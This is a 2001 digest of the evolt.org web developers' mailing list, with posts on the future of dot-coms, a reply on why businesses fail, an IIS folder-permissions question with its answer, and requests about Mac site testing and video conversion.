Subject: [thelist] [OT]  Future of Dot-Coms, E-commerce, B2b, C2c, b2c, elearning, Asps, Problems, VC, Why dot com busts,
Message-ID: <20010923025531.35070.qmail@web14706.mail.yahoo.com>

Hello Everyone,

This weekend I got a great assignment to do.

I have been asked to sumbit a 100 page report on "The Future of the dot-coms"

The scope of the topic according to me is as ::

@ Intd..
---Evolution
---The Other Dots.. Dot com is just a extension..
---Dot COM Hype
---Wrong Evaluation Models (EyeBalls)
---New Evaluation Models
---Post Wall Street Booms - Dot Busts

@ Future Business ways...
-- ECom
-- Entertainment
-- b2b, b2c, c2c
-- vortal, portal
-- Elearning

Some case studies.

If u feel I should add or delete some topics, please guide..

Also what is b2b, b2c, c2c...., why did it fail as promised..

It wopuld be a gret help if u can guide me to some articles on the topic too.


Thanks in advance.

Navin Dhanuka
NetInfoTech.net

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From Postmaster at mailhost.iworld.com  Sun Sep 23 11:42:17 2001
From: Postmaster at mailhost.iworld.com (Mail Administrator)
Date: Sun Sep 23 11:42:17 2001
Subject: [thelist] Mail System Error - Returned Mail
Message-ID: <20010923164147.AAH23826@schubert.iworld.com>

This Message was undeliverable due to the following reason:

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recipient.

Here are a few possible solutions for clearing up this problem:

       - return the mail since the address was invalid

       - fix the MX records in the DNS for the host in question
         and then resubmit the message

       - add an account or alias for the recipient on this machine
         and then resubmit the message

If this machine should be handling all mail for the destination
host, it should be added to the list of Local-Mail-Domains in
the "System Configuration."

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From hgquinn at attglobal.net  Sun Sep 23 12:00:10 2001
From: hgquinn at attglobal.net (H. G. Quinn)
Date: Sun Sep 23 12:00:10 2001
Subject: [thelist] [OT]  Future of Dot-Coms, E-commerce, B2b, C2c, b2c, 
 elearning, Asps, Problems, VC, Why dot com busts,
References: <20010923025531.35070.qmail@web14706.mail.yahoo.com>
Message-ID: <3BAE16DC.33C2F6EF@attglobal.net>

Re why b2b and b2c can fail, in my own experience:

My current employer had a working business and product model when I joined the company.  The product
he offered was a good one back in 1995.  It was a little behind by 1997, and began to be seriously
out of date 2 years ago. Nonetheless, he did not listen to his customers' and technicians' feedback,
and made no product changes of note.

Last year, my current employer floundered around trying to find future direction, yet was still not
willing to listen to his current clients or his techs (of whom I am one); however, he could not
ignore slowing sales.

One of his partners had a friend, a marketing consultant in the industry my employer serves. This
consultant  made a proposal to give my employer some future direction concepts.  My employer
accepted.  This consultant was supposed to meet with everyone in our company to get himself grounded
on how things are done now & where techs believe the company should go, because we were on the front
line.  Our raises are put on hold because we have to be able to cover this consultant's invoices to
us (we're quite small).  It takes 5 months for the consultant to get around to interviewing us.
What is the consultant doing in that 5 months?  Having day-long meetings each week with employer.
The meetings get employer so hyped up he does not keep focused on daily business, which therefore
does not always run right.  Employer from time to time drops hints of what is being discussed.
These are things that do not sound as if they will work, but because consultant hasn't met with us,
we hold our fire.  When we finally meet with consultant (1-on-1, I guess it lets him bill more hours
to my employer, if I were in his shoes I'd do bigger meetings to create dialogues), it's clear that
he does not know his a-- from his elbow, either market-wise or technology-wise, yet where he wants
to swing the most weight is in recommending technology change and new user interface!  Additionally,
he's often vacant, impatient, smiles insincerely, can be hostile, moody, and often sniffs to keep
his nose from dripping (never blows his nose or coughs, though, so it's not a cold) -- you draw your
own conclusion.

Have we changed direction?  Not yet.  What did concrete things has the consultant produced so far?
A brochure layout that was amateurish, the copy for which was cribbed from our current marketing
lit.  Partners had to have this pointed out to them.  Then they asked me to redesign the brochure's
layout (not part of my job, and kept me from meeting several deadlines) and clean up its copy.  (I
could have done this last year, y'know!)  Anything else?  No.  Just a halt to their thought
processes.  The employer now comes up with interim ideas, has me do prototypes, makes no decisions,
and in the meantime, we do not change, we do not move forward, and we will stop growing soon,
saleswise.  Yet some of the ideas that have been prototyped are good ones.  What a waste of time and
money!

Here's what I think was wrong.  The employer stopped growing professionally.  Because of unconcious
awareness of this, he lost touch with his technicians.  He grew deaf to his customers' feedback.  He
waited too late to consider actually making a change, though we had been urging hm to do so for a
long time.  The fact that he made the decision to change so late caused pressure in him, so he could
not make unbiased decisions -- in other words, fear took hold of him.  He allowed disengaged and
unknowledegable partners to invest in his business, and paid too much attention to their opinions
because of the investments they made, not realizing they invested with him because they thought he
was a tech leader.  He brought in an outside consultant whose only real motive was to make enough
money to feed his own needs, whatever those were.  When it was clear the consultant was not moving
us forward, the consultant was not dropped.

With reluctance to listen to the people using the current product, and the  technicians supporting
it, with a resistance to flexibility and change, and fear and money a strong driving force, the
right decisions could not be made and funded and acted upon at the right time.

It takes a CEO with knowledge, honesty, courage, etc. to run a company that is going to respond
nimbly and quickly to the constantly changing demands of e-biz models and product requirements.

One specific area that many b-2-b and b-2-c product CEO's ignore: they are no longer dealing with a
controlled market as they were 7 or 10 years ago -- they can no longre rely on the weight of their
corporations to convince their customers and prospective customers to go with whatever product
that's got whatever features delivered in whatever style.  The Internet has flattened the
marketplace, allowing individuals a large vote in what products they will or will not buy or use.
The CEO who ignores public style and interface requirements is setting him- or herself up for early,
often inadvertent, retirement.

Navin Dhanuka wrote:

> ...Also what is b2b, b2c, c2c...., why did it fail as promised...
>
> Thanks in advance.
>
> Navin Dhanuka
> NetInfoTech.net
>

--
Cheers,

Heather Quinn
info at windyhilldesign.com
http://www.windyhilldesign.com
hgquinn at attglobal.net
http://pws.prserv.net/windyhill





From r937 at interlog.com  Sun Sep 23 14:45:36 2001
From: r937 at interlog.com (rudy)
Date: Sun Sep 23 14:45:36 2001
Subject: [thelist] NN4.7 only displaying A:link, etc. properties - CSS
Message-ID: <01c14466$aae87ac0$df49149a@rudy>

> Also FYI, I placed a period before the A's only for purposes of
> emailing this message so the code would not display as HTML.

hi sharon

i'm pretty sure this is not necessary, as the only thing
that gets through to the list is plain text

so any email reader that is capable of formatting html
in emails would have to switch modes halfway through
displaying a post containing actual tags, which is unlikely

i have heard, but am unable to remember specifically which one,
that there is one email program which chokes on the <html>
tag (like i just wrote there -- so if you don't see this part of
this paragraph, let me know!)

but all other tags have always made it through without any
special considerations

introducing spurious periods or spaces is only going to
confuse some of us, so let's try typing the actual tags and
if anybody's emailer barfs, please let us know...

but i really don't think we need to worry

i mean, otherwise we wouldn't see all those lovely TIP tags,
which, if interpreted as html, should actually disappear

<tip>
use this bookmarklet (thanks to david weingart who posted it on metafilter)
to increase the font size of any web page by 20% (watch for wrap,
bookmarklets are all on one line) --
javascript:function%20fs()%7Bs=document.styleSheets%5B0%5D;if(s==null)%20re
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From jjsteele22 at yahoo.com  Sun Sep 23 16:43:21 2001
From: jjsteele22 at yahoo.com (jon steele)
Date: Sun Sep 23 16:43:21 2001
Subject: [thelist] Private IIS, with one public folder
Message-ID: <20010923214400.76431.qmail@web13508.mail.yahoo.com>

Hi,

I have a win2k machine with IIS. What I want to have is one directory
which is available from any machine that knows my ip, while my www
directory is available only to me, while developing/testing locally. So
for example, only I can access the files in wwwroot, but anyone can
access the folder wwwroot/public/.

To help explain my point... for example, in Apache, I would put the
following in httpd.conf:

<Directory "C:/inetpub/wwwroot">
    Order allow,deny
    Allow from 127.0.0.1
</Directory>

<Directory "C:/inetpub/wwwroot/public">
        Order allow,deny
        Allow from all
</Directory>

How can I achieve this under IIS?

I'd appreciate any ideas!

TIA
Jon

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From pf at cfdev.com  Sun Sep 23 17:08:56 2001
From: pf at cfdev.com (Pete Freitag)
Date: Sun Sep 23 17:08:56 2001
Subject: [thelist] Private IIS, with one public folder
In-Reply-To: <20010923214400.76431.qmail@web13508.mail.yahoo.com>
Message-ID: <BNEHJPJGINFFDIDGAICIAEPNDJAA.pf@cfdev.com>

Yup,

In IIS Right click on your web site and goto Properties and select the
directory security tab.  Click "Edit" under Anonymous Access, make sure
anonymous access is unchecked, this will set the default properties for your
web site.

Now goto the folder you want to open up to everyone, right click on it, goto
properties, directory security, edit, and check the anonymous access box.

_____________________________________________
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CFDEV.COM
ColdFusion Developer Resources
http://www.cfdev.com/


-----Original Message-----
From: thelist-admin at lists.evolt.org
[mailto:thelist-admin at lists.evolt.org]On Behalf Of jon steele
Sent: Sunday, September 23, 2001 5:44 PM
To: TheList Evolt
Subject: [thelist] Private IIS, with one public folder


Hi,

I have a win2k machine with IIS. What I want to have is one directory
which is available from any machine that knows my ip, while my www
directory is available only to me, while developing/testing locally. So
for example, only I can access the files in wwwroot, but anyone can
access the folder wwwroot/public/.

To help explain my point... for example, in Apache, I would put the
following in httpd.conf:

<Directory "C:/inetpub/wwwroot">
    Order allow,deny
    Allow from 127.0.0.1
</Directory>

<Directory "C:/inetpub/wwwroot/public">
        Order allow,deny
        Allow from all
</Directory>

How can I achieve this under IIS?

I'd appreciate any ideas!

TIA
Jon

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From thelist at cbizz.net  Sun Sep 23 18:48:44 2001
From: thelist at cbizz.net (profjj)
Date: Sun Sep 23 18:48:44 2001
Subject: [thelist] Panoramas/3d
In-Reply-To: <E40026A94B88D511B1D000508BC7413317986B@MAILHOST>
Message-ID: <NCEIJIFGNJNBOHBNJFKHCECKCJAA.thelist@cbizz.net>

Hi,

I am currently looking for information to develop panoramic/3d displays.

Thanking you in advance,

[[:profjj:]]
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From david at vidmandesign.com  Sun Sep 23 18:50:52 2001
From: david at vidmandesign.com (David Rafferton)
Date: Sun Sep 23 18:50:52 2001
Subject: [thelist] Site check- Mac users please
Message-ID: <20010924094114.D12B.DAVID@vidmandesign.com>

Hi People,
I have just finished a new site for my fiance but as I am a PC guy I
need it looked over by a mac user to sort out any bugs. 

The sites address is-
http://www.ozemail.com.au/~leeshca/start.htm

The site is in two sizes- 1 for 800x600px screens and less and one for
above 800x600px.

Please report any bugs along with your browser info and screen res.

Also- I need to put the site on a CD-ROM for sending out to prospective
clients. 
I have modified the auto start files from another CD (ie- autorun.ini file)
but I'm not sure how to make it auto start on a MAC (if that is at all
poss??).  

I belive that I need a icon file for the mac (filename.ico)
but I can't seem to find a way to do this on the PC. 

If any of you cool MAC people (suck, suck) would like to take a my gif
file and make it into a icon file I would be so thankfull.

Thanks in advance,

David

---------------  vidman design  --------------- 
For designs that grab your attention
     like a mohawk on a politician!
   http://www.vidmandesign.com
-------------------------------------------------------




From sales at iibiz.com  Sun Sep 23 23:03:08 2001
From: sales at iibiz.com (iibiz)
Date: Sun Sep 23 23:03:08 2001
Subject: [thelist] Converting Video Files
References: <mS/15g8qC-0002q7S@covert.black-ring.iadfw.net> <005a01c1395c$9f0a2060$b7e26d40@iibiz> <007501c1395d$19dd4d80$57a6aace@spacemonkey> <020a01c13993$e7789660$a600a8c0@mrtnz1.ga.home.com>
Message-ID: <002a01c144ae$568d8cc0$bfa9b3c7@iibiz>

Evening evolters!

Went thru all the fun of creating streaming audio files a couple months
ago - now one of my clients wants streaming video.

I have a sample video clip in .avi format.
I have ReadAudio Producer Basic.

When I try to open the file in Producer, I get an error saying "the video
portion of this file is in an unsupported format.  Only the audio portion
will be opened."

I did a little poking around, but couldn't find an inexpensive program that
will let me make the conversion to a .ram or .rm file.

I'm stuck.  Any suggestions?

Thanks guys and gals,

Sandy

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From headlines at lists.evolt.org  Sun Sep 23 23:55:02 2001
From: headlines at lists.evolt.org (Headlines)
Date: Sun Sep 23 23:55:02 2001
Subject: [thelist] Headlines from evolt.org for 23-SEP-01
Message-ID: <200109240455.f8O4t2mD031338@leo.evolt.org>

evolt.org headlines for 23-SEP-01

Title   : XSLT by Doug Tidwell
Author  : briandonovan
Category: Reviews & Links
Link    : http://www.evolt.org/article/headline/12/15971/index.html
Synopsis: I've read and enjoyed his articles at IBM developerWorks,
	  most of which have an XML/XSLT and Java focus, so when I
	  saw that O'Reilly was releasing a new book on XSLT written
	  by Doug Tidwell, I had to get a copy.


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